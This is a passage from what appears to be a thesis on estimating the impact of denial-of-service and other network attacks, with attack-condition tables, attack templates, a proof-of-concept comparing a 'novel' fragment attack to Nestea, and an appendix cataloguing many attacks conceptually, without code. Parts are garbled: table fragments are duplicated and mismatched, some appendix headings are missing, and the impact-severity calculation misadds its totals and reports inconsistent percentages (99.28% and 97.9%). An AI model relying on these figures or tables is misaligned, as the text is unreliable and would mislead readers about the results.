<td>Network Bandwidth decreases.</td>
</tr>
<tr>
<td></td>
<td>The machine received ICMP_ECHO_REPLY packets from client machines in the network.</td>
<td>The Router is configured for “Directed Broadcasts”. The Firewall is disabled. Client machine and the Router is not configured to deny broadcast ICMP_ECHO_REQUESTS.</td>
<td>Network Bandwidth decreases.</td>
</tr>
<tr>
<td></td>
<td>The network is flooded with ICMP_ECHO_REQUEST and ICMP_ECHO_REPLY packets with the</td>
<td>The Router is configured for “Directed Broadcasts”. The Firewall is disabled. Client machine and the Router is not configured to deny broadcast ICMP_ECHO_REQUESTS.</td>
<td>Network Bandwidth decreases.</td>
</tr>
<tr>
<td>LAND Attack</td>
<td>The Attacker sends TCP_SYN packets with the source and destination IP Address of the machine</td>
<td>The Firewall is disabled. The Router is not configured with ingress and egress filters.</td>
<td>Network Bandwidth decreases.</td>
</tr>
<tr>
<td>Attack</td>
<td>Description</td>
<td>Effects</td>
<td></td>
</tr>
<tr>
<td>-----------------</td>
<td>-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------</td>
<td>--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------</td>
<td></td>
</tr>
<tr>
<td>Smurf Attack</td>
<td>The attacker sends ICMP Echo packets to the router’s broadcast address with source IP address as the machine address. The attacker also sends ICMP_ECHO_REPLY packets from the client machine in the network. The router is configured for &quot;Directed Broadcasts&quot;. The firewall is disabled. The client machine and the router are not configured to deny broadcast ICMP_ECHO_REQUESTS.</td>
<td>Network Bandwidth decreases. CPU and Memory availability decreases. System does not receive any external requests.</td>
<td></td>
</tr>
<tr>
<td>Banana Attack</td>
<td>The attacker sends TCP_SYN packets with the source and destination IP address of the machine. The machine sends TCP_SYN requests to itself and receives replies to itself. The firewall is disabled. The router is not configured with ingress and egress filters.</td>
<td>Network Bandwidth decreases. CPU and Memory availability decreases.</td>
<td></td>
</tr>
<tr>
<td>Fraggle Attack</td>
<td>The attacker sends UDP Echo packets to the router’s broadcast address with the source IP address of the machine. The machine sends TCP_SYN requests to itself and receives replies to itself. The firewall is disabled. The router is not configured with ingress and egress filters.</td>
<td>Network Bandwidth decreases. CPU and Memory availability decreases. System does not respond to external requests.</td>
<td></td>
</tr>
<tr>
<td>Attack Type</td>
<td>Description</td>
<td>Firewall Status</td>
<td>Result</td>
</tr>
<tr>
<td>-----------------------------</td>
<td>------------------------------------------------------------------------------</td>
<td>------------------</td>
<td>---------------------------------------------</td>
</tr>
<tr>
<td>ICMP Echo Reply Attack</td>
<td>The Attacker sends the ICMP Echo Reply packet with the source address as one of the machine and destination as the client machine.</td>
<td>Firewall Disabled</td>
<td>Network Bandwidth decreases.</td>
</tr>
<tr>
<td></td>
<td>The client and machine keep exchanging ICMP ECHO REQUEST and REPLY packets between themselves.</td>
<td>Firewall Disabled</td>
<td>Network Bandwidth decreases. CPU and Memory availability decreases.</td>
</tr>
<tr>
<td></td>
<td>The network is flooded with ICMP ECHO REQUEST and REPLY packets.</td>
<td>Firewall Disabled</td>
<td>Network Bandwidth decreases. CPU and Memory availability decreases. System does not receive any external requests.</td>
</tr>
<tr>
<td>Nestea Attack</td>
<td>The Attacker sends oversized IP fragmented packets to the machine.</td>
<td>Firewall Disabled</td>
<td>CPU and Memory availability decreases.</td>
</tr>
<tr>
<td></td>
<td>The machine tries to reassemble the fragments.</td>
<td>Firewall Disabled.</td>
<td>CPU and Memory availability decreases. System does not receive any external requests.</td>
</tr>
<tr>
<td>Fork Bomb Attack</td>
<td>The Attacker executes the attack code in the machine.</td>
<td>Root access required. Firewall Disabled. Physical access to the machine required.</td>
<td>CPU and Memory availability decreases.</td>
</tr>
<tr>
<td></td>
<td>The machine's process table gets filled.</td>
<td>Root access required. Firewall Disabled. Physical access to the machine required.</td>
<td>CPU and Memory availability decreases. System hangs.</td>
</tr>
</tbody>
</table>

The network is flooded with UDP Echo and ICMP_ECHO_REPLY packets. configured to deny UDP Echo packets. The Router is configured for “Direct Broadcasts”. System does not respond to external requests. The Firewall is disabled. The echo (7), daytime (13), qotd (17) and Chargen (19) ports are enabled. The Router and the client are not configured to deny UDP Echo packets. The Router is configured for “Direct Broadcasts”. Network Bandwidth decreases. CPU and Memory availability decreases. System does not receive any external requests.
Currently the information available in the nodes is as follows:

- **User Level:** For some attacks to be successful, the attacker needs to have specific privileges. The available entries for this are root, normal, and privileged.

- **Machine Name:** This can be the name of a single machine or a number of machines. This value is matched with the information available in the configuration file for the target of the attack.

- **Action:** This is the attack step in the database wherein the attack is broken into atomic steps.

- **Specifics:** This is any indication of a particular type of attack, thus making the attack distinguishable. For example, a number of SYN_RECV packets in the network indicate a TCP_SYN Flood attack, identical source IP address and destination IP address indicate a LAND attack, etc.

For this research, the scope of the attack impact analysis is limited since I used simple attacks. Analysis of complex attacks requires details that are beyond the scope of this project. The edges in the attack template represent the impact of the attack step along with the condition that has made the attack possible. Since impact of an attack is a cumulative value of the impact of the individual components, the edges contain the impact severity percentage.

Mapping a novel attack with one of the existing simulated attacks occurs when the first node for the novel attack is constructed. Network monitoring tools check the various packets that are being sent and received by the target machine. If rate of particular packets is high, the information is populated in the attack template under the specifics variable. The start node is constructed with the information available, and the specifics variable helps to identify the mapping of the attack with one of the simulated attacks. If the attack matches more than one of the simulated attacks, the impact severity percentage is calculated for each simulated attack individually. The corresponding conditions are also populated in the impact analysis graph.
4.5 Attack Templates of the Simulated Attacks

Generation of an impact analysis graph requires a mapping of the novel attack with one of the simulated attacks, thus predicting the attack impact. The attack template for each of the simulated attacks in Figures 4.1 through 4.10 below and can be used for mapping novel attacks and generating their own impact analysis graphs.

[Condition]:
Firewall is disabled
Tcp_syncookies is disabled

Machine: M
Action: Attacker sends lots of TCP_SYN packets to the M
Specifics: TCP_SYN Packets

[Condition]:
Firewall is disabled
Tcp_syncookies is disabled

Machine: M
Action: M sends out a lot of SYN_RCVD packets
Specifics: SYN_RECVD Packets

[Condition]:
Firewall is disabled
Tcp_syncookies is disabled

Machine: M
Action: The network is flooded with TCP_SYN and SYN_RCVD packets.
Specifics: TCP_SYN Packets & SYN_RECVD Packets

[Impact]:
Network BW Decreases.
System does not respond to external requests. System hangs

Figure 4.1. Attack template for TCP_SYN attack.
Figure 4.2. Attack template for UDP flood attack.
Figure 4.3. Attack template for Nestea attack.
Figure 4.4. Attack template for LAND attack.
Figure 4.5. Attack template for ICMP flood attack.
Figure 4.6. Attack template for banana attack.
Figure 4.7. Attack template for fork bomb attack.

[Condition]:
Root access required.
Firewall Disabled.
Physical access to the machine required.

[Impact]:
CPU and Memory availability decreases.

Machine: M
Action: Attacker executes Attack Code in M
Specifics: Attack Code Executed

[Condition]:
Root access required.
Firewall Disabled.
Physical access to the machine required.

Machine: M
Action: Process Table of M gets filled up.
Specifics: Attack Code Executed

[Impact]:
CPU and Memory availability decreases.
System does not respond to external requests.

Machine: M
Action: Process Table of M gets filled up.
Specifics: Attack Code Executed

[Impact]:
CPU and Memory availability decreases.
System does not respond to external requests.
Figure 4.8. Attack template for ICMP echo reply attack.
Figure 4.9. Attack template for smurf attack.

[Condition]:
The Router is configured for “Directed Broadcasts”.
The Firewall is disabled.
Client machine and the Router is not configured to deny broadcast ICMP_ECHO_REQUESTS.

Machine: Network of M
Action: Attacker sends lots of ICMP packets directed at M’s Network with Source IP Address as that of M.
Specifics: ICMP Echo Packets

[Impact]:
Network BW Decreases

[Condition]:
The Router is configured for “Directed Broadcasts”.
The Firewall is disabled.
Client machine and the Router is not configured to deny broadcast ICMP_ECHO_REQUESTS.

Machine: M
Action: M receives a lot of ICMP Echo Reply Packets from all the machines in the same network
Specifics: ICMP Echo Reply Packets

[Impact]:
Network BW Decreases.
CPU and Memory availability decreases.
System does not respond to external requests.

[Condition]:
The Router is configured for “Directed Broadcasts”.
The Firewall is disabled.
Client machine and the Router is not configured to deny broadcast ICMP_ECHO_REQUESTS.

Machine: M
Action: Network is flooded with ICMP Echo Request and Reply Packets
Specifics: ICMP Echo Request and Reply Packets

[Impact]:
Network BW Decreases.
CPU and Memory availability decreases.
System does not respond to external requests.
Figure 4.10. Attack template for fraggle attack.
CHAPTER 5
PROOF OF CONCEPT

5.1 Description of the Novel Attack

This section presents a new attack. The attacker sends a lot of overlapped IP fragments that cause the system to either crash or reboot. The Wireshark tool that is running in Adam and Mary detects the unusual numbers of IP packets. Any kind of application that might be open while the attack is in progress shuts down resulting in a loss of data. This particular attack maps to the Nestea attack, one of the attacks simulated in the Security Laboratory. Figure 5.1 illustrates the entire setup. Table 5.1 and Figure 5.2 present the results collected over the time period of 150 minutes along with the graph. Section 5.3 discusses the process of mapping the attack to the Nestea attack.

Figure 5.1 Systems unable to communicate after novel attack is launched.
5.2 Analyzing the Impact of the Attack and Calculating the Impact Severity Percentage

The impact severity percentage represents the severity of the impact of the new attack.

The computation for the same follows below:

The threshold values of the victim’s system/network before the attack are:

- Network bandwidth capacity: 94.13 Mbps
CPU: 3GHz
Memory: 1 GB
Disk: 2.5 GB

**Nestea Attack:** The values were recorded during simulation of the attack for a period of 150 minutes.

- Available NW bandwidth during attack: 94.13 Mbps
- NW bandwidth usage: (94.13–94.13) * (1 min/Mbps) / 150 = 0.0
- CPU usage: (1.725 GHz) * (1 min/GHz) / 150 = 0.0115
- Memory usage: (0.5403 GB) * (1 min/GB) / 150 = 0.003602
- Disk usage: (2.5 GB) * (1 min/GB) / 150 = 0.0167

Total resource usage: 0.0 + 0.0115 + 0.003602 + 0.0167 = 0.031802

**Novel Attack:** The values were calculated while the system/network was under a novel attack over the period of 150 minutes.

- Available NW bandwidth during attack: 94.10 Mbps
- NW bandwidth usage: (94.13–94.13) * (1 min/Mbps) / 150 = 0.0
- CPU usage: (1.705 GHz) * (1 min/GHz) / 150 = 0.01134
- Memory usage: (0.5303 GB) * (1 min/GB) / 150 = 0.003535
- Disk usage: (2.5 GB) * (1 min/GB) / 150 = 0.0167

Total resource usage: 0.0 + 0.01134 + 0.003535 + 0.0167 = 0.031802

Impact Severity Percentage: (0.031802/0.031802) * 100 = 99.28%

Thus, the impact of the novel attack is 99.28% of the impact of a Nestea attack. This value can also be interpreted as follows: The novel attack uses approximately 99.28% of the total resources used by a Nestea attack.
### 5.3 Generating an Impact Analysis Graph for a Novel Attack

This section presents an attack scenario representing the novel attack. The aim of the attacker is to send overlapping IP fragments so that no external request can be processed by the target machine. The target machine in the setup is named Adam alias M. The Wireshark tool, which is running in M, identifies the unusual number of IP packets. The user level information is not entered in the nodes, as it is assumed that the user level is ‘root’. Figure 5.1 gives the topology diagram of the network. The content of the configuration file follows below.

Configuration File Content:

- **Machine Class:** Workstation
- **Hardware Type:** Intel Pentium II
- **Operating System:**
  - a. Fedora Core 8 with patches
  - b. Windows XP
- **Users:** Root, Normal User
- **Ports:** Enabled
- **Services:** Enabled and Root level access
- **Intrusion Detection System:** Disabled
- **Firewall:** Installed but disabled.

The first node is created with the machine named M, and specifics as oversized IP packets, which were retrieved using Wireshark. The attacker sends such packets with a spoofed source address and destination address that are the same as M's. The action value matches with the actions which are available in the database. Given the precondition that the firewall is disabled and the action value, the possible match is a Nestea attack. Figure 5.3 shows the created node based on the information stated above along with the impact of the attack step.

The first node maps the new attack to the Nestea attack. Thus, the impact analysis graph
is similar to the attack template of the Nestea attack. Since the attack nodes for the new attack are constructed at regular intervals, it is possible to record the performance metric values of the system at that particular time. The values of the system when under the Nestea attack is already available, as stated in Chapter 3. Hence, it is possible to calculate the impact severity percentage as follows:

Total resources used while under novel attack after 150 mins: 0.0285
Total resources used while under Nestea Attack after 150 mins: 0.0291

**Impact Severity Percentage: 97.9%**

The value is made available at the outgoing edge of the first node. Figure 5.4 shows the impact analysis graph of the new attack.

---

**Figure 5.3.** Creation of the first node based on the attack step.
Figure 5.4. Impact analysis graph for novel attack.
CHAPTER 6
CONCLUSION

6.1 Contribution

The history of system/network security suggests that hundred-percent prevention and protection of devices is not possible. With the growth of the Internet, attackers keep finding new ways of attacking systems and networks [6]. This impacts businesses and other organizations as well as inconveniences end users. Generalizing a new attack is difficult. However, most attacks bear a behavioral similarity with existing attacks. Hence, through my research I suggest a method to predict the impact of a new attack based on the assumption that any new attack is similar to an existing attack. This is a novel approach that draws a relationship between the impact of existing attacks and the impact of new attacks. The impact of the attack affects the performance metrics of the system/network. I identified a few of these metrics and computed their performance through the simulation of a few selected attacks. This thesis presents the experimental results for the same. I suggest a method for mapping the new attack to the simulated attacks and a formula for calculating the severity of the impact of the new attack. To corroborate my work, I mapped a novel attack to one of the simulated attacks and computed the impact percentage for the same. Automating the impact analysis process using impact analysis graphs is another novel approach in my research. Impact analysis graphs are similar to attack graphs with slight modifications. These graphs show not only the stepwise prediction of a novel attack but also the impact severity percentage for each successful attack step.

6.2 Future Work

There is lot of scope for extending the current work. First, it is possible to improve on the identified metrics for computing the impact of a new attack on a system/network. A number of other possible metrics has been suggested in Chapter 2. However, due to limited time and resources, I did not evaluate the impact of the attacks on those metrics. Second, the method
suggested for automating impact analysis of system/network attacks is largely theoretical and has not been implemented completely. Design a framework for the automatic generation of the impact analysis graphs would provide a better visualization of the entire attack scenario to the network administrators and security officials. Finally, the accuracy percentage of the computed impact severity percentage value could be improved.
REFERENCES

[1] Abouzakhar, N.S. and Manson, G.A. An intelligent approach to prevent distributed system


[3] Bolz, C., Romney, W.G., and Rogers, L.B. Safety train security engineers regarding the
dangers presented by denial of service attacks. In *Proceedings of the 5th Conference on


service attacks using theory and modeling and simulation. In *Proceedings of the 2001

analysis of faults and attacks in large-scale networks, *IEEE Security and Privacy* 1, 5
(Sept/Oct 2003), 49-54.

threat of denial-of-service attacks. White Paper, v10.0, CERT® Coordination Center,

C.Measuring impact of DoS attack. In *Proceedings of the DETER Community Workshop


APPENDICES
APPENDIX A

BACKGROUND STUDY FOR IMPACT ANALYSIS OF
SYSTEM AND NETWORK ATTACKS

In today's world, attacks on the computer systems and networks are widespread. This chapter is a compilation of approximately all possible attacks that have affected computers and networks in general to date. Network attacks are restricted to wired networks. I did these analyses of the consequences of each of the attacks to the best of my ability.

Introduction

Modern technology has lead to an increased number of attacks against computer systems and networks. As the number of users, applications, and end points keeps on increasing, protecting a network is increasingly difficult. Code writers and network administrators take special precautions to ensure the security of the network, but this does not stop a hacker to go ahead and compromise the security. Additionally, the impact of an attack varies, depending on what the hacker aims to achieve, and most of the time users, administrators, and code writers are not aware of the impact of these attacks. The impact of the attack, however small, should not be ignored as it can lead to graver situations. The remaining sections analyze the various possible impacts an attack can have on systems and networks.

A. Reconnaissance Activity

This is one of the preliminary stages of any kind of attack. The hacker probes into the system or network to gain information before making plans to attack it. Various vulnerabilities are exposed during this process, such as available ports, services running in a system, kind of traffic that is being transmitted within the network, to name a few. The hacker uses a number of tools to
collect this information. Scanning is one such activity to gain information. The possible impacts of the attack are:

A.1 Network Access slows down
A.2 System Access slows down.

**B. Root Compromise**

Most systems and networks allow restricted access. The main idea is to protect sensitive information and make it available to a limited audience. Activities such as configuring routers and firewalls for a company's network, maintenance of database servers and web servers, require root or administrator level access. In most cases, the scripts and programs that run on the front end have a number of vulnerabilities the attacker exploits. If the attacker gains root level access, the possible impacts are:

B.1 Possible changes in the configuration files, password files, programs, and scripts.
B.2 Deleted usernames.
B.3 Access to web-based management console thus compromising the application as well as the underlying web server.
B.4 Ability to execute commands remotely
B.5 Escalate privileges by overwriting various files, thus denying access to administrators and other authorized users.
B.6 Possibility of System Crash.
B.7 Capability of launching further attacks after the system is compromised.

**C. User Compromise**

Many online transactions require the user to input username, password, and credit card information, while performing the transaction. Such information is stored in the corresponding web server. Some web applications enable cookies which keep track of such information. If the
attacker is successful in compromising a user login, the possible impacts of the attack are:

C.1 Access to authorized credentials to use for privileges of a valid user for various applications.
C.2 Hijack the account, create requests, and send them to the web server as a valid user, thus extracting information that can be used to launch attacks later.
C.3 Possible compromise of the user's system by remotely executing commands and gaining control over the same.
C.4 Using the compromised system to launch attacks against other users in the network.
C.5 System crash caused by performing remote buffer overflow.

D. Denial of Service [2], [6], [15]
The main aim of the attacker is to prevent efficient functioning of the Internet or some other service either temporarily or permanently. A number of network protocols are used to perform denial of service. The attacker constructs malicious packets and sends the packets hidden in various kinds of traffic. In most cases, these malicious packets bypass firewalls and compromise the system or the network. Malicious packets are constructed by manipulating various options or providing bogus data in the options field of the protocol. The impact of such attacks include:

D.1 Consumption of network bandwidth
D.2 Consumption of system resources
D.3 System crash
D.4 System reset
D.5 Unavailability of particular websites
D.6 Inability to access particular websites
D.7 Obstructing the communication medium between the victim and the intended users.

E. Website Defacement
A web page is an interface through which information can be sent out to a number of users at the same time. Most web servers support generation of dynamic web pages depending on user input. A number of programs and scripts are available in the web server that supports dynamic content generation. Some of the scripting languages have inbuilt weaknesses that are overlooked by the code writers. Also, most of the scripts do not perform proper input validation checks and filtration. The possible impacts of the attack are:

   E.1 Defacement of the attacked website
   E.2 Negative impact on the company’s brand value

**F. Malicious Code**

The attacker sends out spam mails with malicious code as attachments. The names of the attachments are chosen in such a way so as to trick the user into opening the file. The file can be a virus, worm, or a Trojan horse that can compromise the user's system as well as the network to which the user is connected. The possible impacts of the attack are:

   F.1 High system resource usage
   F.2 Data being wiped out from the user's hard drive
   F.3 Files being overwritten.
   F.4 Backdoor being installed so that the system can be controlled remotely by the attacker.

The following section lists the various types of attacks. Listed with each attack is its index value, which provides the impact of said attack.

**1. Man in the Middle**

The attacker is able to read, modify, and insert messages at his own will without letting the parties involved in the communication know that their communication medium has been compromised.
The attacker can observe and intercept the entire communication.

The impacts are: A.1, A.2, C.1, C.2 and D.7.

2. WWW Spoofing

In this attack, the web browser is fooled to communicate with a different web server. This can be done by either attacking the domain name server, changing the mapping of a particular domain name with its corresponding IP address, or rewriting the URL. Also, the browser can be tricked while interpreting the CGI data, Java Script, etc. Once the victim's browser is connected to the attacker's web server, the victim receives fake web pages asking for personal information, such as login, password, credit card, or bank information.

The impacts are: C.1, C.2, D.1 and D.2.

3. AOL Instant Messenger Overflow:

AOL instant messenger for Win 32 is vulnerable to a buffer overflow attack. This vulnerability is exploited by the attacker through the man in the middle attack. The attacker places himself between the client and the server and monitors the conversation. He is also capable of configuring a Trojan horse so that he can control the client remotely. Systems and applications affected: AOL Instant Messenger 4.8.2646.

The impacts are: A.1, A.2, C.3, C.5, D.1 and D.2.

4. Replay Attack

This is a form of network attack in which valid data transmission is maliciously or fraudulently replayed by the attacker. It is a form of man in the middle attack. The attacker can sniff the data being transmitted between the victim and server. With the information he collects, he can retransmit the information back to the server once the victim has finished communication.

The impacts are: A.1, A.2, C.1, C.2, D.1 and D.2.
5. DNS Spoofing

The host makes a DNS request. The attacker gets the ID and sends back a reply before the actual DNS replies. Thus, the victim now communicates with the spoofed DNS server which redirects the victim to spoofed web pages and extracts authorized information from the victim without his knowledge.

Systems and applications affected: Red Hat Enterprise Linux Desktop 5 x86, Red Hat Enterprise Server 5 x86, Red Hat Enterprise Linux AS 3 x86, AS 4 x86, ES 3 x86, ES 4 x86, WS 3 x86, WS 4 x86.

The impacts are: A.1, A.2, C.1, C.2, D.1, D.2 and D.8.

6. ICMP Redirection

The attacker forges the ICMP redirect messages and directs the victim's traffic towards himself. Thus, all the communication is directed towards the attacker's forged server or router rather than towards the intended system.

Systems affected: CISCO IOS devices are affected by this attack.

The impacts are: A.1, A.2, D.1 and D.2.

7. Buffer Overflow

Buffer overflow causes the system to crash or leads to unavailability of resources. It sometimes causes the program to run in an infinite loop. Access controls of the programs can also be disrupted as some arbitrary code might get which, in turn, might override the implicit security policy of the program. Sometimes this attack might subvert some other security policy of the code by passing the control of program execution to an alien piece of code that has been inserted through malware or a backdoor.

Buffer overflows can be of the following types:
· Heap Overflow
· Stack Overflow
· Integer Overflow

The impacts are: A.1, A.2, B.4, B.5, B.6, C.3, C.5, D.1, D.2 and F.4.

8. Dictionary Attack

In this attack, some well known passwords are tried in order to circumvent the authentication system so as to access a particular system or network. Since most people select easy passwords, it is fairly easy to execute this attack.

System Impact: The account gets locked up

The impacts are: B.1, B.2, B.3, B.5, and C.1.

9. Session Hijack

This attack is also known as TCP session hijacking. If the victim uses source-routed IP packets, the attacker can sniff the information that is being exchanged between the two users engaged in the communication. Session hijack can also execute a denial of service by causing one machine to stop responding. This attack can either be against a single computer, forcing it to crash or against a network connection causing heavy packet loss.

The impacts are: A.1, A.2, C.2, C.4, D.1, D.2, D.3 and D.7.

10. ARP Cache Poison

This attack causes denial of service to the victim's system. The victim’s ARP cache has invalid MAC addresses. Hence, when the victim wants to use a particular service by sending information to a particular MAC address, there is no response. It is denied this particular service. The traffic from the victim’s system may be directed in some other direction. ARP cache poison can also be a prerequisite of man in the middle attack which can compromise the network.
11. Ping of Death
The attacker sends a malicious ping to the target machine. Some machines are not able to handle ping messages greater than maximum IP packets size (65535 bytes); hence, this attack causes the target machine to crash. It is also illegal to send IP packets greater than the maximum size. Hence, small fragments of the packet are sent out which when reassembled at the destination causes buffer overflow. The operating systems that are vulnerable to this kind of attack are UNIX, Linux, MAC, and Windows. The network devices that are vulnerable to this attack are routers and printers.

The impacts are: D.1, D.2, D.3, D.4 and D.7.

12. Distributed Denial of Service
This attack is similar to the bandwidth attack, but the attack is carried out by multiple machines. These machines are located in different networks and generate bogus traffic to consume the bandwidth of the target network. The network congestion causes packets some of which are legitimate to be dropped. Hence, service is denied to legitimate users.

The impacts are: C.4, D.1, D.2 and D.7.

13. SYN Flood Attack
The attacker floods the victim's machine with SYN packets. The impact of the attack is that the victim's machine may exhaust memory, crash, or otherwise become inoperative.

The impacts are: D.1, D.2, D.3, D.4 and D.7.

14. Directory Harvest Attack
This is a technique whereby spammers try to find valid/existent email addresses of known
domains, using brute force attack. Spammers make a list of possible name combinations and finally append a domain name to it. Once the emails are sent out, the ones that do not bounce back are added in the spammers list. The impacts of this attack are crashed mail servers, database corruption, and user complaints about slow email response.

The impacts are: B.6, D.1, D.2 and F.1.

15. FTP Bounce Attack

In this attack, the hacker uploads a file to the FTP server and then requests this file be sent to an internal server. The file can contain malicious software or a simple script that occupies the internal server and exhausts memory and CPU resources.

The impacts are: D.1, D.2 and F.1.

16. Ping Flooding

The attacker overwhelms the victim with ICMP echo request packets. The system under attack tries to process all the packets which results in consumption of network bandwidth and system resources.

The impacts are: D.1 and D.2.

17. Broadcast Radiation

This is the accumulation of broadcast and multicast traffic on a computer network. The final stage is the broadcast storm which results in all existing connections being dropped off and no new connections being established. This broadcast storm has a negative effect on network latency. The broadcast storm combines with a smurf attack or fraggle attack, causing a denial of service attack. The attacked system or network loses bandwidth, and CPU resources and may result in a system crash.

The impacts are: D.1, D.2, D.3 and D.7.
18. DNS Backbone DDoS Attacks [13]

This attack targets DNS Servers and is very significant. The attack is similar to a distributed denial of service attack and aims to bring down the Internet completely.

The impacts are: D.1, D.2, D.3 and D.7.

19. Teardrop Attack

The attacker sends IP fragments to a machine that is connected to the Internet or any kind of network. It affects systems that do not handle overlapping IP fragments properly and causes it to crash or reboot. It can, however, cause loss of information for any application that might be opened when the attack takes place. It mainly attacks Windows NT, 3.1, and 95, and some Linux versions, such as 2.0.32 and 2.1.63.

The impacts are: D.1, D.2, D.3 and D.4.

20. Land Attack

This is a remote denial of service attack. It is caused by sending a spoofed packet to a machine with the destination port/IP address as the source port/IP address. It either causes the system to lock or crash. The vulnerable systems are Windows Server 2003, Windows XP SP2, Window 95, Windows NT 4.0, WfWG 3.11, and FreeBSD.

The impacts are: D.1, D.2, D.3 and D.4.

21. Bonk Attack

This attack is similar to a teardrop attack except that the fragment offset field of the TCP packet is manipulated. The fragment offset field contains information about the fragment size which the target machine uses to reconstruct the packet. By manipulating this field, a fragment size becomes too big to be reassembled by the target machine. Hence, the machine crashes or, in some cases,
requires a reboot. Loss of unsaved data is also possible during the attack. Vulnerable systems are Windows NT or Windows 95.

The impacts are: D.1, D.2, D.3 and D.4.

22. Boink Attack [9]

This attack is similar to a bonk attack and allows the use of UDP port ranges. It causes the system to crash or reboot. However, if some unsaved application is open during the attack, it is lost.

The impacts are: D.1, D.2, D.3 and D.4.


This attack is targeted to port 139 of the PC. A garbled packet is sent to this port. The computer does not discard this packet and tries to process it, thus causing a malfunction and a “blue screen.” It leads to loss of Network Resources. In some cases, it causes the System to crash.

The impacts are: D.1, D.2, D.3 and D.4.


In this attack, a large, fragmented ICMP packet is sent to the computer that is not able to reassemble the packet for use. When the target machine receives the packet, it freezes and does not accept any input from the keyboard or mouse. The target system locks or reboots. Additionally, any open applications are lost during the attack. The vulnerable systems are Windows 95 and NT.

The impacts are: D.1, D.2, D.3 and D.4.

25. SSPing [7]

In this attack large, fragmented ICMP packets are sent to the victim’s computer which locks once it starts putting the fragments together. This causes the system to freeze and requires a reboot. The
vulnerable Systems are Windows 95, Windows NT, and older versions of MAC OS that are not behind a firewall to block ICMP data packets.

The impacts are: D.1, D.2, D.3 and D.4.

26. SMB Attack

This exploits the weakness of the SMB_TRANSACTION_COMMAND. The attack causes the system to go into an unstable mode and crash. Windows systems are vulnerable to this attack.

The impacts are: D1, D2, D3 and D4.

27. Smurf Attack [6], [14]

The attacker sends out spoofed ping packets to flood the target machine. This brings down the target computer or network.

The impacts are: D.1, D.2, D.3 and D.4.

28. Teardrop2 Attack

The attacker sends out dangerous IP fragment overlap, specifically malformed UDP packets to the victim’s system, causing it to become unstable or crash. The source IP address is also spoofed; hence, the identity of the attacker cannot be detected.

The impacts are: D.1, D.2, D.3 and D.4.


The attacker sends a flood of invalid traffic to the victim's computer which causes the system to slow down. The invalid traffic consists of identical fragmented IP packets at approximately 150 packets per second. The system under attack does not crash but the CPU usage pegs to 100%. Vulnerable Systems are Windows NT, 9x, and 2k.

The impacts are: D.1, D.2, D.3 and D.4.
30. **Syndrop Attack [8]**

In this attack, the attacker generates dangerous IP fragment overlap which causes the victim’s system to become unstable and crash. Vulnerable Systems are Windows versions.

The impacts are: D.1, D.2, D.3 and D.4.

31. **Chargen Denial of Service Attack**

The Chargen port 19 can be spoofed into sending data packets from one service in one computer to another service in another computer, creating an infinite loop. The impacts are network bandwidth consumption, loss of performance, and total shutdown of the affected system.

The impacts are: D.1, D.2 and D.3.

32. **Gewse [1]**

This is a flooder that sends malformed packets with the intention of bringing the website down. It also acts as a Trojan to remotely control the victim’s machine. The victim’s machine acts like a server while the attacker’s machine acts like a client. The impacts of this flooder are display ads, hijacked Internet browser, allowed remote influence, flooded Internet connection, track browsing activity with installed applications and cookies, etc.

The impacts are: B.3, C.2, D.1, D.2 and F.4.


This is a distributed denial of service attack, but it is more complex than a trinoo attack. It blocks all the services that the victim’s computer offered before it was attacked.

The impacts are: D.1, D.2, D.3 and D.7.

34. **Stacheldraht Attack**
This is a combination of a TFN and a trinoo attack. It is also a distributed denial of service attack. It relies on TCP rather than on UDP for the attack.

The impacts are: D.1, D.2, D.3 and D.7.

35. Nestea Attack
This attack is similar to a teardrop attack. The attacker exploits a bug in Linux defragmentation code and targets a Linux operating system. The affected systems crash, once attacked.

The impacts are: D.1, D.2, D.3 and D.4.

36. Puke Attack
This attack causes disconnection from the server, usually an IRC server. The attacker spoofs the ICMP unreachable error to the target causing it to disconnect from the server. This occurs prior to an ICMP port scan to find vulnerable systems that are connected to the server.

The impacts are: A.1, A.2 and D.7.

37. Dest_unreach Attack
There are two forms of this attack — server unreachable and client unreachable. The server unreachable attack sends out ICMP messages to the victim’s system, fooling the system into thinking that the server is not available. Similarly, a client unreachable attack informs the victim’s system that the client is not reachable. The victim’s system receives “unreachable destination” messages and disconnects from the server.

The impacts are: D.1, D.2 and D.7.

38. IceNwek Attack
This is a variation of a ping of death attack. The attacker sends out IP packets of sizes greater than 65536 bytes which is not allowed by the IP protocol.
The impacts are: D.1, D.2, D.3 and D.7.

39. Click Attack
This attack is mainly directed to an IRC server. It causes disconnection from the IRC server. The messages that are displayed once the system is attacked are “connection reset by peer,” “connection refused,” “host unreachable,” “operation timed out.”

The impact is: D.1, D.2 and D.7

40. OOBNuke Attack [4], [5]
This is similar to a WinNuke attack. The attacker sends an out-of-band packet with the URG pointer set in the TCP header to port 139 of the victim’s Windows system. This causes the victim’s system to crash.

The impacts are: D.1, D.2, D.3 and D.7.

41. Ping Pong Attack
The attack is targeted towards the UDP packets that respond to malformed packets. The attacker spoofs a packet between two machines running the service which causes the machines to spew characters at each other, causing the machines to slow down and saturate the network. Kerberos servers are vulnerable to this attack.

The impacts are: D.1, D.2, D.3 and D.7.

42. CTCP Flood
This is a type of IRC flood. The CTCP engine in an IRC client is subjected to this attack. The attack machines sends out streams of CTCP requests to the client. The client sends replies to the server. The server disconnects from the client because it is not able to handle the excessive stream of replies in a short time.
43. **DCC Flood**

This is a type of IRC flood. When a victim opens a DCC chat request window, the sending party floods it with garbage text which causes the system to hang or crash.

The impacts are: C.5, D.1, D.2 and D.3.

44. **Clogging Attack**

This attack is against a public key cryptosystem. The attacker generates lot of bogus or replay traffic which exhausts the resources of the client, server, or the Network thus causing a denial of Service.

The impacts are: D.1, D.2, D.3 and D.7.

45. **Fraggle Attack**

The attacker sends a lot of UDP echo packets to an IP broadcast addresses. All the IP source addresses are spoofed.

The impacts are: D.1, D.2, D.3, D.4 and D.7.

46. **Bandwidth Attack**

A lot of bogus traffic is generated to consume the network bandwidth of the targeted network. This leads to packets being dropped, including legitimate packets. Thus, denial of service occurs.

The impacts are: D.1, D.2, D.3 and D.7.

47. **UDP Flood Attack**

The attacker sends UDP packets to a random port on the victim's system. The victim waits to check which application is waiting on the destination port only to find no application. It sends out
an ICMP packet informing destination unreachable. If the victim receives too many UDP packets, it will be forced to send too many ICMP replies, making other clients unreachable to the victim’s system.

The impacts are: D.1, D.2, D.3 and D.7.

48. Sendmail Attack
